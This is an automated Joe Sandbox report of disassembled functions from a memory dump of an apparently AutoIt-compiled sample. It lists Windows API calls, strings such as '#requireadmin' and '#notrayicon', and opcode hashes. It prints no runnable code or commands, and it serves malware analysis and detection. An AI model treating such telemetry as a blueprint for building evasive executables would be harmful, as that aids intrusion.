Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: db0389bc83cf486073273f8d5591cd2b379e5f2516621d483892ac4593fe64f5
Instruction ID: 78d8bd83dac038fed33af35d8294d4ad5de996fc98ee51857885946eb6b6f6c9
Opcode Fuzzy Hash: db0389bc83cf486073273f8d5591cd2b379e5f2516621d483892ac4593fe64f5
Instruction Fuzzy Hash: C02160B5645209AFDB10DF64DCC1DB737ADEB8A3A4B44445AFA009B391CB31EC51CA60

Function 009A95AD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 85COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 009A961D

Strings

#requireadmin, xrefs: 009A95D9
#OnAutoItStartRegister, xrefs: 009A95F3
#notrayicon, xrefs: 009A95B7

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _wcslen
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 176396367-2734436370
Opcode ID: dfb8287fca6c856817cfb8bd7060a5353f5a3587e88ab28cbc3e530b8608b807
Instruction ID: a57a3396620be24acfb0b02454e99ba62356d34fd5488ec4c3fb86b5fe18029d
Opcode Fuzzy Hash: dfb8287fca6c856817cfb8bd7060a5353f5a3587e88ab28cbc3e530b8608b807
Instruction Fuzzy Hash: 8921353260421066D331BA259C17FBBB39CBFD2310F108426F94A9B181EB55AD55C2D5

Function 009B49F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 009B4A08
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 009B4A5C
SetErrorMode.KERNEL32(00000000,?,?,009DCC08), ref: 009B4AD0

Strings

%lu, xrefs: 009B4A6F

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: c4420174323c6b7d8fe6437076bffe9dc13880f487bfcb67083b0aca9a212226
Instruction ID: 5d52b44e94b7d59fb685dc1c1bd9ff09652c135e5e995ef261ac546d34f05adc
Opcode Fuzzy Hash: c4420174323c6b7d8fe6437076bffe9dc13880f487bfcb67083b0aca9a212226
Instruction Fuzzy Hash: 7A318E70A40109AFDB10DF64C985EAA7BF8EF48318F1480A5F909DB252D771ED46DB61

Function 009D41EB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 009D424F
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 009D4264
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 009D4271

Strings

msctls_trackbar32, xrefs: 009D4226

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 1bc4e1395ef9a4f01c9102c87d6d3b95b02041953c430824817f9f9859255851
Instruction ID: 411737b83b54344ba7eeeb0b7e9fc3b9a2f56d4da9bc63263ea38ad83509ca08
Opcode Fuzzy Hash: 1bc4e1395ef9a4f01c9102c87d6d3b95b02041953c430824817f9f9859255851
Instruction Fuzzy Hash: 70110671280208BFEF205F69CC06FAB3BACEF95B54F114515FB55E2190D671DC519B10

Function 009A2F52 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00946B57: _wcslen.LIBCMT ref: 00946B6A

Part of subcall function 009A2DA7: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 009A2DC5
Part of subcall function 009A2DA7: GetWindowThreadProcessId.USER32(?,00000000), ref: 009A2DD6
Part of subcall function 009A2DA7: GetCurrentThreadId.KERNEL32 ref: 009A2DDD
Part of subcall function 009A2DA7: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 009A2DE4

GetFocus.USER32 ref: 009A2F78

Part of subcall function 009A2DEE: GetParent.USER32(00000000), ref: 009A2DF9

GetClassNameW.USER32(?,?,00000100), ref: 009A2FC3
EnumChildWindows.USER32(?,009A303B), ref: 009A2FEB

Strings

%s%d, xrefs: 009A2FFF

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
String ID: %s%d
API String ID: 1272988791-1110647743
Opcode ID: 9792a80625d0f9a8f98fc6ccccf6c7bdbcc1883b913b126268e785b1865fac6e
Instruction ID: e87cf6a5be11a03803a286858e37ee5e1059505e0fc94b884f78ba6036159e9d
Opcode Fuzzy Hash: 9792a80625d0f9a8f98fc6ccccf6c7bdbcc1883b913b126268e785b1865fac6e
Instruction Fuzzy Hash: 7F11A2B1600206ABCF547F749C85FEE376AAFC5308F048075FD09AB292DE309949DBA0

Function 009D5882 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 009D58C1
SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 009D58EE
DrawMenuBar.USER32(?), ref: 009D58FD

Strings

0, xrefs: 009D588F

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: 0
API String ID: 3227129158-4108050209
Opcode ID: f3bb49051d751296beb891e18d56e324001c23953dfb816d775264fcfd4bd8d8
Instruction ID: 1e21f419be9026b96603dfa23710483a19a17283beaae3cd2ec1673ee9bd74ad
Opcode Fuzzy Hash: f3bb49051d751296beb891e18d56e324001c23953dfb816d775264fcfd4bd8d8
Instruction Fuzzy Hash: 46018471554218EFDB119F15DC45BAEBBB8FF45361F10C09AF849D6251DB308A84EF21

Function 0099D3A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetSystemWow64DirectoryW), ref: 0099D3BF
FreeLibrary.KERNEL32 ref: 0099D3E5

Strings

X64, xrefs: 0099D2A8
GetSystemWow64DirectoryW, xrefs: 0099D3B9

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 3013587201-2590602151
Opcode ID: 9356a08de7351e32d90b4083e02380048979920e2388cf913130ca150a6da1ea
Instruction ID: 1fe90baed72e89a91b89501f7296af9804e1374af0ca3b6bdfc86d9051a0c49b
Opcode Fuzzy Hash: 9356a08de7351e32d90b4083e02380048979920e2388cf913130ca150a6da1ea
Instruction Fuzzy Hash: 0BF055A184B7329BDF355B288CD8A6D3318AF10703B948916E812F6244EB24CC84C282

Function 009A007F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5fc6de0d2edd867ac121448c1ea0001fc521616051ac5fde6eb072f379aa46d
Instruction ID: eb8e5398e89c0e1fa1bb2c009f34cd13b9f575b18318754c0831d62733293767
Opcode Fuzzy Hash: a5fc6de0d2edd867ac121448c1ea0001fc521616051ac5fde6eb072f379aa46d
Instruction Fuzzy Hash: 9EC14C75A0021AEFDB14CFA4C894BAEB7B9FF89704F108598E915EB251D731ED41CB90

Function 00973E80 Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00973F0B
__alldvrm.LIBCMT ref: 0097410C
__alldvrm.LIBCMT ref: 0097412E

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction ID: 17486ff3d89107b5e461161ad7fa15a35f8c1a05809b60b574a8f84844ff22de
Opcode Fuzzy Hash: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction Fuzzy Hash: B4A13673E043869FEB25DF18C8917AEBBE8EF61350F14C16DE5999B282C3388981C751

Function 009C342E Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 009C3459
CoUninitialize.OLE32 ref: 009C3463
VariantInit.OLEAUT32(?), ref: 009C346E
VariantClear.OLEAUT32(?), ref: 009C371B

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Variant$ClearInitInitializeUninitialize
String ID:
API String ID: 1998397398-0
Opcode ID: a77ba8aa0fb2204cce676465d05ab0d51cab729832e0e0b63a5f85242b7fd7d2
Instruction ID: 9a93a7a6e4a77bb71af3c7602b5ad231aebc5da4a372a2be0789db362147f2e9
Opcode Fuzzy Hash: a77ba8aa0fb2204cce676465d05ab0d51cab729832e0e0b63a5f85242b7fd7d2
Instruction Fuzzy Hash: A6A10375A042109FC710DF68C595F2AB7E9EF88714F04885DF98A9B362DB34EE05CB92

Function 009A0436 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,009DFC08,?), ref: 009A05F0
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,009DFC08,?), ref: 009A0608
CLSIDFromProgID.OLE32(?,?,00000000,009DCC40,000000FF,?,00000000,00000800,00000000,?,009DFC08,?), ref: 009A062D
_memcmp.LIBVCRUNTIME ref: 009A064E

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: e93156bcb8f3e6971b68f35c129b3392b22a1547d09f724f3e87517f3791d148
Instruction ID: 67b28d90ce1f47785ade36d4020c68fef1dc37b6a730050bb1e4308562b4effd
Opcode Fuzzy Hash: e93156bcb8f3e6971b68f35c129b3392b22a1547d09f724f3e87517f3791d148
Instruction Fuzzy Hash: 8E810971A00109EFCB04DF94C988EEEB7B9FF89315F204559F516AB250DB71AE46CBA0

Function 009CA67C Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 009CA6AC
Process32FirstW.KERNEL32(00000000,?), ref: 009CA6BA

Part of subcall function 00949CB3: _wcslen.LIBCMT ref: 00949CBD

Process32NextW.KERNEL32(00000000,?), ref: 009CA79C
CloseHandle.KERNEL32(00000000), ref: 009CA7AB

Part of subcall function 0095CE60: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,00983303,?), ref: 0095CE8A

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
String ID:
API String ID: 1991900642-0
Opcode ID: 6806754b495ecc8c73833d9b0c73f12812e08c32a938abaab8705a0e0e404253
Instruction ID: 696cd26a0d1d9539aa12cc8a2dcc24747534ad5ef04e11962b26f2bcfa7b55c2
Opcode Fuzzy Hash: 6806754b495ecc8c73833d9b0c73f12812e08c32a938abaab8705a0e0e404253
Instruction Fuzzy Hash: 7351F6B1908311AFD714EF25C886E6BBBE8AFC9754F00491DF98597262EB30D904CB92

Function 00981391 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 009814C0

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: a18e4e57a5d275cb98e0e207b37b79206ee7472f25b4ba4c23476ccc7a5207a1
Instruction ID: 5c9d336dbf7a67397cbda94a384b2e665a938f48d2849aa9ec468fac7dcb3264
Opcode Fuzzy Hash: a18e4e57a5d275cb98e0e207b37b79206ee7472f25b4ba4c23476ccc7a5207a1
Instruction Fuzzy Hash: 53416C32A00111ABDB257BF99C55BBE3BACEFC1370F144626F429D23B2E67448435761

Function 009D6278 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 009D62E2
ScreenToClient.USER32(?,?), ref: 009D6315
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 009D6382

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 8f6c9982d525761ded109a76aee8eba17f82fb143ce18fdb94daf6f550ff1655
Instruction ID: 7decfe9b77885bd896532e0a30f1079f3cb61b894ad405e00ad96a31ab18cc03
Opcode Fuzzy Hash: 8f6c9982d525761ded109a76aee8eba17f82fb143ce18fdb94daf6f550ff1655
Instruction Fuzzy Hash: FC512D74940205AFDF10DF68D980AAE7BB9EF55360F10825AF96597390D730ED81CB50

Function 009C1AD6 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 009C1AFD
WSAGetLastError.WSOCK32 ref: 009C1B0B
#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 009C1B8A
WSAGetLastError.WSOCK32 ref: 009C1B94

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: 0818264bda73a2ddfbc0b54f9c51c173a26f675f816abd49cb14704bf8a4e230
Instruction ID: 4b06432755893fc17e87afe3a104c8eca0b4d9dd3bfa0a8c3e8d325fcc80f848
Opcode Fuzzy Hash: 0818264bda73a2ddfbc0b54f9c51c173a26f675f816abd49cb14704bf8a4e230
Instruction Fuzzy Hash: 1F41A074A40201AFE720AF24C886F2977E5AB85718F54849CF91A9F3D3D772DD42CB91

Function 0097B41F Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1b2a1084115c88792a5300ddcc3a105629db8cb1ae253913c88b95bf07132b0
Instruction ID: 7cf5e1f4af609f7ed4c733068fa5d4ba471772fd1646d84b3a26d787b57828d1
Opcode Fuzzy Hash: f1b2a1084115c88792a5300ddcc3a105629db8cb1ae253913c88b95bf07132b0
Instruction Fuzzy Hash: B441D976A00704BFD724AF78CC41B6ABBFDEBC4710F10852AF559DB692D77199018790

Function 009B56D9 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 009B5783
GetLastError.KERNEL32(?,00000000), ref: 009B57A9
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 009B57CE
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 009B57FA

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 16b574969418e7fcf9ba9ac74c807d5ba46b1d152e420570a6efd95f1280b3be
Instruction ID: 25c77346b8f8812451eb0b88735310195eecbc148eeb82f75df4741927d24035
Opcode Fuzzy Hash: 16b574969418e7fcf9ba9ac74c807d5ba46b1d152e420570a6efd95f1280b3be
Instruction Fuzzy Hash: 08411A35600611DFCB11DF55C544B5ABBE6EF89720B198888F84AAF362CB34FD40CB91

Function 0097D8C3 Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,8BE85006,00966D71,00000000,00000000,009682D9,?,009682D9,?,00000001,00966D71,8BE85006,00000001,009682D9,009682D9), ref: 0097D910
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0097D999
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 0097D9AB
__freea.LIBCMT ref: 0097D9B4

Part of subcall function 00973820: RtlAllocateHeap.NTDLL(00000000,?,00A11444,?,0095FDF5,?,?,0094A976,00000010,00A11440,009413FC,?,009413C6,?,00941129), ref: 00973852

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 8999f7f944e05d5fbc30c568a1c4d1af251f1e723977c62a0f5041f08db59ce1
Instruction ID: 9f9549c2c21d601a70406a2aaf5fe6b4860afac4ac99b74dd95df7dabcfe6cf8
Opcode Fuzzy Hash: 8999f7f944e05d5fbc30c568a1c4d1af251f1e723977c62a0f5041f08db59ce1
Instruction Fuzzy Hash: 6D31CD72A0221AABDF249F64DC41EAE7BB9EF80710B058269FD08D7250EB35CD50CB90

Function 009D52C1 Relevance: 6.1, APIs: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001024,00000000,?), ref: 009D5352
GetWindowLongW.USER32(?,000000F0), ref: 009D5375
SetWindowLongW.USER32(?,000000F0,00000000), ref: 009D5382
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 009D53A8

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
